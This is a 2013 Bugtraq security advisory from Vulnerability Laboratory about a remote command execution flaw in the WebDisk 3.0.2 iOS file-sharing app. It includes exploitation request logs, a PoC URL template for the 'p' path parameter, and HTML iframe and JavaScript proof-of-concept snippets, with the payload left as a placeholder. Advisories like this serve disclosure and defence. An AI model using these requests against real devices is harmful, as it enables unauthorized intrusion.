[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Sun, 28 Jul 2013 21:59:39 +0100
Title:
======
WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability
Date:
=====
2013-07-27
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1035
VL-ID:
=====
1035
Common Vulnerability Scoring System:
====================================
8.8
Introduction:
=============
WebDisk lets your iphone/ipad become a file website over wi-fi netwrk.You can
upload/download your document
to your iphone/ipad on your pc browser over wi-fi and it is also a document
viewer. Lets you direct view
your document on your iphone/iphone.
( Copy of the Homepage: https://itunes.apple.com/us/app/webdisk/id546221210 )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a remote code execution
vulnerability in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).
Report-Timeline:
================
2013-07-27: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: WebDisk PhotoViewer - Application 3.0.2
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
A remote command execution web vulnerability is detected in the WebDisk v3.0.2
application (Apple iOS - iPad & iPhone).
The vulnerability allows remote attacker to execute code inside of a vulnerable
web application module to compromise the device.
The vulnerability is located in the afgetdir.ma file when processing to request
manipulated path parameters. Remote attackers can
execute code from the main application index by using the upload input field.
The code inside of the file upload field does not
require to choose a file for an upload but executes the context directly via
GET variable. The result is a web application code
execution from the main index module. The code will be executed from the
listing location under the upload input field of the
webdisk wifi application.
Exploitation of the vulnerability does not require user interaction or a
privilege application user account.
Successful exploitation results webdisk web-application or apple device
compromise via remote code execution.
Vulnerable Module(s):
[+] Upload - Input Field
Vulnerable File(s):
[+] afgetdir.ma
Vulnerable Parameter(s):
[+] p (path)
Affected Module(s):
[+] Index File Dir Listing
Proof of Concept:
=================
The remote command execution vulnerability can be exploited by remote attackers
without privilege application user account or
user interaction. For demonstration or reproduce ...
--- Exploitation Request Session Logs ---
Status: 200[OK]
GET http://192.168.2.104:1861/aadd.htm
Load Flags[LOAD_BACKGROUND ] Content Size[641] Mime
Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:1861]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[641]
Server[MHttpServer/1.0.0]
Status: 200[OK]
GET http://192.168.2.104:1861/[CODE EXECUTION]+PATH
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[0]
Mime Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:1861]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[0]
Server[MHttpServer/1.0.0]
URL=http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications
%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[CODE
EXECUTION]
Status: 200[OK]
GET
http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CW%5C[CODE
EXECUTION]
Load Flags[LOAD_NORMAL] Content Size[20217] Mime
Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:1861]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer
[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[20217]
Server[MHttpServer/1.0.0]
--- Exploitation Request Session Logs ---
Reference(s): mHTTP Web-Server
http://localhost:1861/
http://localhost:1861/mjs.js
http://localhost:1861/aadd.htm
http://localhost:1861/afgetthum.ma
PoC Example:
[HOST]:[PORT]/[FILE].[MA]?[PARAM Q]=%5C[PATH
VAR]/[DIRECTION]%5C[ID]%5C[DOCUMNETS PATH]%5C[LIBRARY FOLDER]%5C[LOCAL PATH
WDisk]%5C[COMMAND EXECUTION]
PoC Link:
http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[COMMAND
EXECUTION]
PoC: Exploit 1 - HTML
<html>
<head><body><title>WebDisk v3.0.2 - Command Execution Vulnerability - Remote
PoC</title>
<iframe
src=http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA
56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION] width=800 height=800>
</body></head>
<html>
PoC: Exploit 2 - JS
<script
language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3EWebDisk%20v3.0.2%20-%20Command%20Execution%20Vulnerability%20
-%20Remote%20PoC%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A1861/afgetthum.ma%3Fp%3D%255Cvar%255Cmobile%255CApplications
%255C8D137E49-3793-4C45-9A50-B8AF3AE7EA%0A56%255CDocuments%255CLibrary%255CWD%255C%5BCOMMAND%20EXECUTION%5D%20width%3D800%20height%3D800
%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
Review Source: tdmid
<td colspan="3" height="1"><hr class="spline"></td>
</tr>
<tr>
<td class="tdleft"><a href=""><img class="imgthum"
src="afico/files_txt.png"></a></td>
<td class="tdmid">>"[CODE EXECUTION VULNERABILITY!]</td>
<td class="tdright">7-26 19:51<br/><br/><a
href="afdelete.ma?p=%5Cvar%5Cmobile%5CApplications
%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C%7C-%7C430429876.txt">delete</a></td>
</tr>
<tr>
<td colspan="3" height="1"><hr class="spline" /></td>
</tr>
Solution:
=========
To fix the command execution parse the p variable and encode the input on
direct GET requests.
Parse and encode the output listing of the file input in the main file dir
index module.
Risk:
=====
The security risk of the remote command execution web application vulnerability
is estimated as critical.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor
licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com
- magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or
research@xxxxxxxxxxxxxxxxxxxxx) to get a permission.
Copyright © 2013 | Vulnerability Laboratory
[Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx